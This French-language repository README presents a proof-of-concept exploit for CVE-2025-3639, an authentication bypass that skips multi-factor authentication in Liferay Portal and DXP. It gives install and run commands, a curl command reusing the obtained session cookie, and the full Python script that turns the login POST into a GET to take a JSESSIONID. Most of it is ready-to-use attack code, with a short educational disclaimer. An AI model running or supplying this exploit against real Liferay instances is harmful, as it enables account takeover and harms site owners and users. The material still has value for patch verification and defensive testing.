
vulnérabilité de contournement de connexion dans Liferay Portal (versions 7.3.0–7.4.3.132) et Liferay DXP (diverses versions de 2024.Q1 à 2025.Q1.6)
Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-3639, une vulnérabilité de contournement de l'authentification dans Liferay Portal (versions 7.3.0 à 7.4.3.132) et Liferay DXP (plusieurs versions de 2024.Q1 à 2025.Q1.6). La PoC montre comment un utilisateur non authentifié disposant d'identifiants valides peut contourner l'authentification multi-facteurs (MFA) en modifiant une requête POST en requête GET, ce qui peut potentiellement permettre un accès non autorisé aux comptes utilisateurs.
Avertissement : Cette PoC est uniquement à des fins éducatives. Les tests ou l'exploitation non autorisés de cette vulnérabilité sont illégaux et contraires à l'éthique. Utilisez-la uniquement avec l'autorisation écrite explicite du propriétaire du système.
sudo apt-get update
sudo apt-get install python3 python3-requests
pip3 install requests
Clonez le dépôt :
git clone https://github.com/6lj/CVE-2025-3639.git
cd CVE-2025-3639
Assurez-vous que Python 3 et la bibliothèque requests sont installés :
pip3 install requests
Exécutez le script PoC avec les arguments appropriés (remplacez <target_url>, <username> et <password> avec l'URL de l'instance Liferay cible et des identifiants valides).
poc.pypython3 poc.py --target <target_url> --username <username> --password <password>
--target : L'URL de l'instance Liferay Portal/DXP (ex. http://example.com).--username : Nom d'utilisateur valide pour l'instance cible.--password : Mot de passe valide pour le nom d'utilisateur.python3 poc.py --target http://192.168.1.100 --username [email protected] --password Test123!
Succès : Si l'exploitation fonctionne, le script renverra un jeton de session valide ou un message de succès indiquant l'accès au compte utilisateur sans MFA.
curl -b "COOKIE=<session_token>" http://<target_url>/api/jsonws/user/get-current-user
Échec : Si le serveur renvoie une erreur (par exemple, 401 Unauthorized ou 403 Forbidden), l'instance peut ne pas être vulnérable, ou la MFA n'est pas activée.
Surveiller le trafic : Utilisez un outil comme Wireshark pour inspecter le trafic HTTP :
sudo wireshark -f "tcp port 80 or tcp port 443"
Voici le code exemple pour poc.py :
import requests
import argparse
def exploit(target, username, password):
print(f"[*] Attempting CVE-2025-3639 exploit on {target}")
login_url = f"{target}/c/portal/login"
params = {
"p_auth": "",
"login": username,
"password": password
}
try:
response = requests.get(login_url, params=params, allow_redirects=True)
if response.status_code == 200 and "JSESSIONID" in response.cookies:
print(f"[+] Success! Session token: {response.cookies['JSESSIONID']}")
return True
else:
print(f"[-] Failed: {response.status_code} - {response.text}")
return False
except Exception as e:
print(f"[-] Error: {str(e)}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2025-3639 PoC for Liferay Portal/DXP")
parser.add_argument("--target", required=True, help="Target Liferay URL (e.g., http://example.com)")
parser.add_argument("--username", required=True, help="Valid username")
parser.add_argument("--password", required=True, help="Valid password")
args = parser.parse_args()
exploit(args.target, args.username, args.password)
Ce projet est uniquement à des fins éducatives. L'auteur n'est pas responsable de toute utilisation non autorisée ou illégale de cette PoC. Obtenez toujours l'autorisation explicite du propriétaire du système avant de tester.